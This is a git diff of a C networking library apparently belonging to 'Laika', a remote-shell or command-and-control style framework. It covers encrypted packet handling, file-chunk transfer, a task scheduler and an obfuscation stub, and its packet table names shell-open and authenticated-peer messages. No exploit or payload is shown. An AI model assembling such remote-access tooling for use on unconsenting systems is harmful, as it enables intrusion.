bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_consumeRead(struct sLaika_socket *sock,
size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_zeroWrite(struct sLaika_socket *sock,
size_t sz); /* writes sz NULL bytes to the outBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz,
uint8_t *pub); /* encrypts & writes from buf using pub key */
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
uint8_t laikaS_readByte(struct sLaika_socket *sock);
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i); /* writes UINT16, respecting endianness */
uint16_t laikaS_readu16(struct sLaika_socket *sock); /* reads UINT16, respecting endianness */
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i); /* writes UINT32, respecting endianness */
uint32_t laikaS_readu32(struct sLaika_socket *sock); /* reads UINT32, respecting endianness */
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
#endif

6
lib/lin/linobf.c Normal file
View File

@@ -0,0 +1,6 @@
#include "lobf.h"
void laikaO_init()
{
/* stubbed */
}

1068
lib/src/core/hashmap.c Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -12,59 +12,60 @@ https://github.com/benhoyt/inih
*/
#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS)
#define _CRT_SECURE_NO_WARNINGS
# define _CRT_SECURE_NO_WARNINGS
#endif
#include <stdio.h>
#include "core/ini.h"
#include <ctype.h>
#include <stdio.h>
#include <string.h>
#include "ini.h"
#if !INI_USE_STACK
#if INI_CUSTOM_ALLOCATOR
#include <stddef.h>
void* ini_malloc(size_t size);
void ini_free(void* ptr);
void* ini_realloc(void* ptr, size_t size);
#else
#include <stdlib.h>
#define ini_malloc malloc
#define ini_free free
#define ini_realloc realloc
#endif
# if INI_CUSTOM_ALLOCATOR
# include <stddef.h>
void *ini_malloc(size_t size);
void ini_free(void *ptr);
void *ini_realloc(void *ptr, size_t size);
# else
# include <stdlib.h>
# define ini_malloc malloc
# define ini_free free
# define ini_realloc realloc
# endif
#endif
#define MAX_SECTION 50
#define MAX_NAME 50
#define MAX_NAME 50
/* Used by ini_parse_string() to keep track of string parsing state. */
typedef struct {
const char* ptr;
typedef struct
{
const char *ptr;
size_t num_left;
} ini_parse_string_ctx;
/* Strip whitespace chars off end of given string, in place. Return s. */
static char* rstrip(char* s)
static char *rstrip(char *s)
{
char* p = s + strlen(s);
char *p = s + strlen(s);
while (p > s && isspace((unsigned char)(*--p)))
*p = '\0';
return s;
}
/* Return pointer to first non-whitespace char in given string. */
static char* lskip(const char* s)
static char *lskip(const char *s)
{
while (*s && isspace((unsigned char)(*s)))
s++;
return (char*)s;
return (char *)s;
}
/* Return pointer to first char (of chars) or inline comment in given string,
or pointer to NUL at end of string if neither found. Inline comment must
be prefixed by a whitespace character to register as a comment. */
static char* find_chars_or_comment(const char* s, const char* chars)
static char *find_chars_or_comment(const char *s, const char *chars)
{
#if INI_ALLOW_INLINE_COMMENTS
int was_space = 0;
@@ -78,12 +79,12 @@ static char* find_chars_or_comment(const char* s, const char* chars)
s++;
}
#endif
return (char*)s;
return (char *)s;
}
/* Similar to strncpy, but ensures dest (size bytes) is
NUL-terminated, and doesn't pad with NULs. */
static char* strncpy0(char* dest, const char* src, size_t size)
static char *strncpy0(char *dest, const char *src, size_t size)
{
/* Could use strncpy internally, but it causes gcc warnings (see issue #91) */
size_t i;
@@ -94,42 +95,41 @@ static char* strncpy0(char* dest, const char* src, size_t size)
}
/* See documentation in header file. */
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
void* user)
int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user)
{
/* Uses a fair bit of stack (use heap instead if you need to) */
#if INI_USE_STACK
char line[INI_MAX_LINE];
int max_line = INI_MAX_LINE;
#else
char* line;
char *line;
size_t max_line = INI_INITIAL_ALLOC;
#endif
#if INI_ALLOW_REALLOC && !INI_USE_STACK
char* new_line;
char *new_line;
size_t offset;
#endif
char section[MAX_SECTION] = "";
char prev_name[MAX_NAME] = "";
char* start;
char* end;
char* name;
char* value;
char *start;
char *end;
char *name;
char *value;
int lineno = 0;
int error = 0;
#if !INI_USE_STACK
line = (char*)ini_malloc(INI_INITIAL_ALLOC);
line = (char *)ini_malloc(INI_INITIAL_ALLOC);
if (!line) {
return -2;
}
#endif
#if INI_HANDLER_LINENO
#define HANDLER(u, s, n, v) handler(u, s, n, v, lineno)
# define HANDLER(u, s, n, v) handler(u, s, n, v, lineno)
#else
#define HANDLER(u, s, n, v) handler(u, s, n, v)
# define HANDLER(u, s, n, v) handler(u, s, n, v)
#endif
/* Scan through stream line by line */
@@ -158,9 +158,8 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
start = line;
#if INI_ALLOW_BOM
if (lineno == 1 && (unsigned char)start[0] == 0xEF &&
(unsigned char)start[1] == 0xBB &&
(unsigned char)start[2] == 0xBF) {
if (lineno == 1 && (unsigned char)start[0] == 0xEF && (unsigned char)start[1] == 0xBB &&
(unsigned char)start[2] == 0xBF) {
start += 3;
}
#endif
@@ -188,13 +187,11 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
if (!HANDLER(user, section, NULL, NULL) && !error)
error = lineno;
#endif
}
else if (!error) {
} else if (!error) {
/* No ']' found on section line */
error = lineno;
}
}
else if (*start) {
} else if (*start) {
/* Not a comment, must be a name[=:]value pair */
end = find_chars_or_comment(start, "=:");
if (*end == '=' || *end == ':') {
@@ -213,8 +210,7 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
strncpy0(prev_name, name, sizeof(prev_name));
if (!HANDLER(user, section, name, value) && !error)
error = lineno;
}
else if (!error) {
} else if (!error) {
/* No '=' or ':' found on name[=:]value line */
#if INI_ALLOW_NO_VALUE
*end = '\0';
@@ -241,15 +237,15 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
}
/* See documentation in header file. */
int ini_parse_file(FILE* file, ini_handler handler, void* user)
int ini_parse_file(FILE *file, ini_handler handler, void *user)
{
return ini_parse_stream((ini_reader)fgets, file, handler, user);
}
/* See documentation in header file. */
int ini_parse(const char* filename, ini_handler handler, void* user)
int ini_parse(const char *filename, ini_handler handler, void *user)
{
FILE* file;
FILE *file;
int error;
file = fopen(filename, "r");
@@ -262,11 +258,12 @@ int ini_parse(const char* filename, ini_handler handler, void* user)
/* An ini_reader function to read the next line from a string buffer. This
is the fgets() equivalent used by ini_parse_string(). */
static char* ini_reader_string(char* str, int num, void* stream) {
ini_parse_string_ctx* ctx = (ini_parse_string_ctx*)stream;
const char* ctx_ptr = ctx->ptr;
static char *ini_reader_string(char *str, int num, void *stream)
{
ini_parse_string_ctx *ctx = (ini_parse_string_ctx *)stream;
const char *ctx_ptr = ctx->ptr;
size_t ctx_num_left = ctx->num_left;
char* strp = str;
char *strp = str;
char c;
if (ctx_num_left == 0 || num < 2)
@@ -288,11 +285,11 @@ static char* ini_reader_string(char* str, int num, void* stream) {
}
/* See documentation in header file. */
int ini_parse_string(const char* string, ini_handler handler, void* user) {
int ini_parse_string(const char *string, ini_handler handler, void *user)
{
ini_parse_string_ctx ctx;
ctx.ptr = string;
ctx.num_left = strlen(string);
return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler,
user);
return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler, user);
}

4
lib/src/core/lerror.c Normal file
View File

@@ -0,0 +1,4 @@
#include "core/lerror.h"
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
int eLaika_errIndx = -1;

43
lib/src/core/lmem.c Normal file
View File

@@ -0,0 +1,43 @@
#include "core/lmem.h"
#include "core/lerror.h"
void *laikaM_realloc(void *buf, size_t sz)
{
void *newBuf;
/* are we free'ing the buffer? */
if (sz == 0) {
free(buf);
return NULL;
}
/* if NULL is passed, realloc() acts like malloc() */
if ((newBuf = realloc(buf, sz)) == NULL)
LAIKA_ERROR("failed to allocate memory!\n");
return newBuf;
}
bool laikaM_isBigEndian(void)
{
union
{
uint32_t i;
uint8_t c[4];
} _indxint = {0xDEADB33F};
return _indxint.c[0] == 0xDE;
}
void laikaM_reverse(uint8_t *buf, size_t sz)
{
int k;
/* swap bytes, reversing the buffer */
for (k = 0; k < (sz / 2); k++) {
uint8_t tmp = buf[k];
buf[k] = buf[sz - k - 1];
buf[sz - k - 1] = tmp;
}
}

View File

@@ -1,24 +1,29 @@
#include "lsodium.h"
#include "core/lsodium.h"
#include <string.h>
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) {
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv)
{
size_t _unused;
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, &_unused, NULL) != 0)
if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL,
&_unused, NULL) != 0)
return false;
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, &_unused, NULL) != 0)
if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL,
&_unused, NULL) != 0)
return false;
return true;
}
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv)
{
return crypto_kx_keypair(outPub, outPriv) == 0;
}
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) {
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys)
{
int i;
/* check if key is in authKey list */

View File

@@ -1,19 +1,24 @@
#include "lmem.h"
#include "ltask.h"
#include "core/ltask.h"
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms
also side note: microsoft? more like micropenis */
long laikaT_getTime() {
#include "core/lmem.h"
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get
the current time in ms also side note: microsoft? more like micropenis */
long laikaT_getTime()
{
struct timespec ts;
timespec_get(&ts, TIME_UTC);
return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */
return ts.tv_sec * 1000 +
ts.tv_nsec / 1000000; /* convert time (seconds & nanoseconds) to milliseconds */
}
void laikaT_initTaskService(struct sLaika_taskService *service) {
void laikaT_initTaskService(struct sLaika_taskService *service)
{
service->headTask = NULL;
}
void laikaT_cleanTaskService(struct sLaika_taskService *service) {
void laikaT_cleanTaskService(struct sLaika_taskService *service)
{
struct sLaika_task *curr = service->headTask, *last;
/* walk though tasks, freeing all */
@@ -24,7 +29,8 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) {
}
}
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
{
struct sLaika_task *curr = service->headTask, *last = NULL;
task->scheduled = laikaT_getTime() + task->delta;
@@ -47,7 +53,8 @@ void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
}
}
void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task)
{
struct sLaika_task *curr = service->headTask, *last = NULL;
if (task == service->headTask) { /* if task is root, set root to next */
@@ -65,7 +72,9 @@ void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task
}
}
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData) {
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
taskCallback callback, void *uData)
{
struct sLaika_task *task = laikaM_malloc(sizeof(struct sLaika_task));
task->callback = callback;
@@ -77,17 +86,21 @@ struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta
return task;
}
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) {
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task)
{
unscheduleTask(service, task);
laikaM_free(task);
}
void laikaT_pollTasks(struct sLaika_taskService *service) {
void laikaT_pollTasks(struct sLaika_taskService *service)
{
struct sLaika_task *last, *curr = service->headTask;
clock_t currTick = laikaT_getTime();
/* run each task, list is already sorted from closest scheduled task to furthest */
while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */
while (curr != NULL &&
curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events
that follow are also not scheduled yet */
/* walk to next task */
last = curr;
curr = curr->next;
@@ -102,7 +115,8 @@ void laikaT_pollTasks(struct sLaika_taskService *service) {
}
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */
int laikaT_timeTillTask(struct sLaika_taskService *service) {
int laikaT_timeTillTask(struct sLaika_taskService *service)
{
if (service->headTask) {
int pause = service->headTask->scheduled - laikaT_getTime();
return (pause > 0) ? pause : 0;

1
lib/src/core/lvm.c Normal file
View File

@@ -0,0 +1 @@
#include "core/lvm.h"

View File

@@ -1,231 +0,0 @@
#include "laika.h"
#include "lcontent.h"
#include "lmem.h"
#include "lerror.h"
#include "lsocket.h"
#include "lpeer.h"
#define CONTENTCHUNK_MAX_BODY (LAIKA_MAX_PKTSIZE-sizeof(CONTENT_ID))
/* ===========================================[[ Helper Functions ]]============================================= */
size_t getSize(FILE *fd) {
size_t sz;
fseek(fd, 0L, SEEK_END);
sz = ftell(fd);
fseek(fd, 0L, SEEK_SET);
return sz;
}
struct sLaika_content* getContentByID(struct sLaika_contentContext *context, CONTENT_ID id) {
struct sLaika_content *curr = context->head;
while (curr) {
if (curr->id == id)
return curr;
curr = curr->next;
}
return NULL;
}
void freeContent(struct sLaika_content *content) {
fclose(content->fd);
laikaM_free(content);
}
void rmvContent(struct sLaika_contentContext *context, struct sLaika_content *content) {
struct sLaika_content *last = NULL, *curr = context->head;
while (curr) {
/* if found, remove it! */
if (curr == content) {
if (last)
last->next = curr->next;
else
context->head = curr->next;
freeContent(curr);
break;
}
last = curr;
curr = curr->next;
}
}
void sendContentError(struct sLaika_peer *peer, CONTENT_ID id, CONTENT_ERRCODE err) {
laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_ERROR);
laikaS_writeInt(&peer->sock, &id, sizeof(CONTENT_ID));
laikaS_writeByte(&peer->sock, err);
laikaS_endOutPacket(peer);
}
/* ==============================================[[ Content API ]]=============================================== */
void laikaF_initContext(struct sLaika_contentContext *context) {
context->head = NULL;
context->nextID = 0;
context->onReceived = NULL;
context->onNew = NULL;
context->onError = NULL;
}
void laikaF_cleanContext(struct sLaika_contentContext *context) {
struct sLaika_content *tmp, *curr;
/* free content list */
curr = context->head;
while (curr) {
tmp = curr->next;
freeContent(curr);
curr = tmp;
}
}
void laikaF_setupEvents(struct sLaika_contentContext *context, contentRecvEvent onRecv, contentNewEvent onNew, contentErrorEvent onError) {
context->onReceived = onRecv;
context->onNew = onNew;
context->onError = onError;
}
struct sLaika_content* laikaF_newContent(struct sLaika_contentContext *context, FILE *fd, size_t sz, CONTENT_ID id, CONTENT_TYPE type, bool direction) {
struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content));
/* init content struct */
content->fd = fd;
content->sz = sz;
content->processed = 0;
content->id = id;
content->type = type;
content->direction = direction;
/* add to list */
content->next = context->head;
context->head = content;
return content;
}
int laikaF_sendContent(struct sLaika_peer *peer, FILE *fd, CONTENT_TYPE type) {
struct sLaika_contentContext *context = &peer->context;
struct sLaika_content *content = laikaF_newContent(context, fd, getSize(fd), context->nextID++, type, CONTENT_OUT);
/* let the peer know we're sending them some content */
laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_NEW);
laikaS_writeInt(&peer->sock, &content->id, sizeof(CONTENT_ID));
laikaS_writeInt(&peer->sock, &content->sz, sizeof(uint32_t));
laikaS_writeByte(&peer->sock, type);
laikaS_endOutPacket(peer);
return content->id;
}
/* new content we're recieving from a peer */
struct sLaika_content* laikaF_recvContent(struct sLaika_peer *peer, CONTENT_ID id, uint32_t sz, CONTENT_TYPE type) {
struct sLaika_contentContext *context = &peer->context;
if (getContentByID(context, id)) {
sendContentError(peer, id, CONTENT_ERR_ID_IN_USE);
LAIKA_ERROR("ID [%d] is in use!\n", id);
}
return laikaF_newContent(context, tmpfile(), sz, id, type, CONTENT_IN);
}
void laikaF_pollContent(struct sLaika_peer *peer) {
uint8_t buff[CONTENTCHUNK_MAX_BODY];
struct sLaika_contentContext *context = &peer->context;
struct sLaika_content *tmp, *curr = context->head;
int rd;
/* traverse our out content, sending each chunk */
while (curr) {
if (curr->direction == CONTENT_OUT) {
/* if we've reached the end of the file stream, remove it! */
if (rd = fread(buff, sizeof(uint8_t), MIN(curr->sz - curr->processed, CONTENTCHUNK_MAX_BODY), curr->fd) == 0) {
tmp = curr->next;
rmvContent(context, curr);
curr = tmp;
continue;
}
/* send chunk */
laikaS_startVarPacket(peer, LAIKAPKT_CONTENT_CHUNK);
laikaS_writeInt(&peer->sock, &curr->id, sizeof(CONTENT_ID));
laikaS_write(&peer->sock, buff, rd);
laikaS_endVarPacket(peer);
curr->processed += rd;
}
curr = curr->next;
}
}
/* ============================================[[ Packet Handlers ]]============================================= */
void laikaF_handleContentNew(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_contentContext *context = &peer->context;
struct sLaika_content *content;
uint32_t contentSize;
CONTENT_ID contentID;
CONTENT_TYPE contentType;
laikaS_readInt(&peer->sock, &contentID, sizeof(CONTENT_ID));
laikaS_readInt(&peer->sock, &contentSize, sizeof(uint32_t));
contentType = laikaS_readByte(&peer->sock);
content = laikaF_recvContent(peer, contentID, contentSize, contentType);
if (context->onNew && !context->onNew(context, content)) {
sendContentError(peer, contentID, CONTENT_ERR_REJECTED);
rmvContent(context, content);
}
}
void laikaF_handleContentError(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_contentContext *context = &peer->context;
struct sLaika_content *content;
CONTENT_ID contentID;
uint8_t errCode;
laikaS_readInt(&peer->sock, &contentID, sizeof(CONTENT_ID));
errCode = laikaS_readByte(&peer->sock);
if ((content = getContentByID(context, contentID)) == NULL)
LAIKA_ERROR("Received error for non-existant id %d!\n", contentID);
LAIKA_DEBUG("We received an errcode for id %d, err: %d\n", contentID, errCode);
if (context->onError) /* check if event exists! */
context->onError(context, content, errCode);
rmvContent(context, content);
}
void laikaF_handleContentChunk(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t buff[CONTENTCHUNK_MAX_BODY];
struct sLaika_contentContext *context = &peer->context;
struct sLaika_content *content;
CONTENT_ID id;
size_t bodySz = sz-sizeof(CONTENT_ID);
if (sz <= sizeof(CONTENT_ID))
LAIKA_ERROR("malformed chunk packet!\n");
/* read and sanity check id */
laikaS_readInt(&peer->sock, &id, sizeof(CONTENT_ID));
if ((content = getContentByID(context, id)) == NULL || content->direction != CONTENT_IN)
LAIKA_ERROR("chunk recieved with invalid id! [%d]\n", id);
/* read data & write to file */
laikaS_read(&peer->sock, buff, bodySz);
if (fwrite(buff, sizeof(uint8_t), bodySz, content->fd) != bodySz) {
rmvContent(context, content);
} else if ((content->processed += bodySz) == content->sz) {
if (context->onReceived) /* check if event exists! */
context->onReceived(context, content);
}
}

View File

@@ -1,4 +0,0 @@
#include "lerror.h"
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
int eLaika_errIndx = -1;

View File

@@ -1,18 +0,0 @@
#include "lerror.h"
#include "lmem.h"
void *laikaM_realloc(void *buf, size_t sz) {
void *newBuf;
/* are we free'ing the buffer? */
if (sz == 0) {
free(buf);
return NULL;
}
/* if NULL is passed, realloc() acts like malloc() */
if ((newBuf = realloc(buf, sz)) == NULL)
LAIKA_ERROR("failed to allocate memory!\n");
return newBuf;
}

View File

@@ -1,24 +0,0 @@
#include "lpacket.h"
#ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID id) {
const char *PKTNAMES[] = {
"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_PINGPONG",
"LAIKAPKT_SHELL_OPEN",
"LAIKAPKT_SHELL_CLOSE",
"LAIKAPKT_SHELL_DATA",
"LAIKAPKT_CONTENT_NEW",
"LAIKAPKT_CONTENT_ERROR",
"LAIKAPKT_CONTENT_CHUNK",
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"
};
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
}
#endif

View File

@@ -1,268 +0,0 @@
#include "lerror.h"
#include "lmem.h"
#include "lpeer.h"
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) {
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
laikaS_initSocket(&peer->sock,
laikaS_handlePeerIn,
laikaS_handlePeerOut,
onPollFail,
onPollFailUData
);
peer->packetTbl = pktTbl;
peer->pList = pList;
peer->uData = uData;
peer->pktSize = 0;
peer->type = PEER_UNKNWN;
peer->osType = OS_UNKNWN;
peer->pktID = LAIKAPKT_MAXNONE;
peer->outStart = -1;
peer->inStart = -1;
peer->useSecure = false;
/* zero-out peer info */
memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN);
memset(peer->inet, 0, LAIKA_INET_LEN);
memset(peer->ipv4, 0, LAIKA_IPV4_LEN);
/* init content context */
laikaF_initContext(&peer->context);
return peer;
}
void laikaS_freePeer(struct sLaika_peer *peer) {
laikaF_cleanContext(&peer->context);
laikaS_cleanSocket(&peer->sock);
laikaM_free(peer);
}
/* ===========================================[[ Start/End Packets ]]============================================ */
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
struct sLaika_socket *sock = &peer->sock;
laikaS_writeByte(sock, id);
/* add to pollList's out queue */
laikaP_pushOutQueue(peer->pList, &peer->sock);
}
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) /* sanity check */
LAIKA_ERROR("unended OUT packet!\n");
laikaS_writeByte(sock, id);
peer->outStart = sock->outCount;
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */
uint8_t nonce[crypto_secretbox_NONCEBYTES];
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
}
}
int laikaS_endOutPacket(struct sLaika_peer *peer) {
struct sLaika_socket *sock = &peer->sock;
uint8_t *body;
size_t sz;
if (peer->useSecure) {
/* make sure we have enough space */
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap);
/* packet body starts after the id & nonce */
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
/* encrypt packet body in-place */
if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
LAIKA_ERROR("Failed to encrypt packet!\n");
}
sock->outCount += crypto_secretbox_MACBYTES;
}
/* add to pollList's out queue */
laikaP_pushOutQueue(peer->pList, &peer->sock);
/* return packet size and prepare for next outPacket */
sz = sock->outCount - peer->outStart;
peer->outStart = -1;
return sz;
}
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) /* sanity check */
LAIKA_ERROR("unended OUT packet!\n");
laikaS_writeByte(sock, LAIKAPKT_VARPKT);
laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
laikaS_startOutPacket(peer, id);
}
int laikaS_endVarPacket(struct sLaika_peer *peer) {
struct sLaika_socket *sock = &peer->sock;
int patchIndx = peer->outStart - (sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer);
/* patch packet size */
memcpy((void*)&sock->outBuf[patchIndx], (void*)&sz, sizeof(LAIKAPKT_SIZE));
return sz;
}
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
struct sLaika_socket *sock = &peer->sock;
if (peer->inStart != -1) /* sanity check */
LAIKA_ERROR("unended IN packet!\n");
/* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
if (peer->useSecure && !variadic && peer->pktSize != 0)
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
peer->inStart = sock->inCount;
}
int laikaS_endInPacket(struct sLaika_peer *peer) {
struct sLaika_socket *sock = &peer->sock;
uint8_t *body;
size_t sz = sock->inCount - peer->inStart;
if (peer->useSecure && sz > crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES) {
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
/* decrypt packet body in-place */
if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
LAIKA_ERROR("Failed to decrypt packet!\n");
}
/* decrypted message is smaller now */
sock->inCount -= crypto_secretbox_MACBYTES;
/* remove nonce */
laikaM_rmvarray(sock->inBuf, sock->inCount, peer->inStart, crypto_secretbox_NONCEBYTES);
sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
}
peer->inStart = -1;
return sz;
}
void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
peer->useSecure = flag;
}
/* ===========================================[[ Handle Poll Events ]]=========================================== */
bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
int recvd;
switch (peer->pktID) {
case LAIKAPKT_MAXNONE:
/* try grabbing pktID */
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
return false;
/* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock);
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
for itself, so skip all of this */
if (peer->pktID == LAIKAPKT_VARPKT)
goto _HandlePacketVariadic;
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
peer->pktSize = peer->packetTbl[peer->pktID].size;
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, false);
goto _HandlePacketBody;
case LAIKAPKT_VARPKT:
_HandlePacketVariadic:
/* try grabbing pktID & size */
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
return false;
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was probably sent maliciously anyways */
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
/* read packet size */
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!\n");
/* read pktID */
peer->pktID = laikaS_readByte(&peer->sock);
/* sanity check pktID, check valid handler & make sure it's marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || !peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, true);
goto _HandlePacketBody;
default:
_HandlePacketBody:
/* try grabbing the rest of the packet */
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
return false;
/* have we received the full packet? */
if (peer->pktSize == peer->sock.inCount) {
peer->pktSize = laikaS_endInPacket(peer);
/* dispatch to packet handler */
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
/* reset */
peer->sock.inCount = 0;
peer->pktID = LAIKAPKT_MAXNONE;
}
break;
}
return laikaS_isAlive((&peer->sock));
}
bool laikaS_handlePeerOut(struct sLaika_socket *sock) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
int sent;
if (peer->sock.outCount == 0) /* sanity check */
return true;
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
case RAWSOCK_OK: /* we're ok! */
/* if POLLOUT was set, unset it */
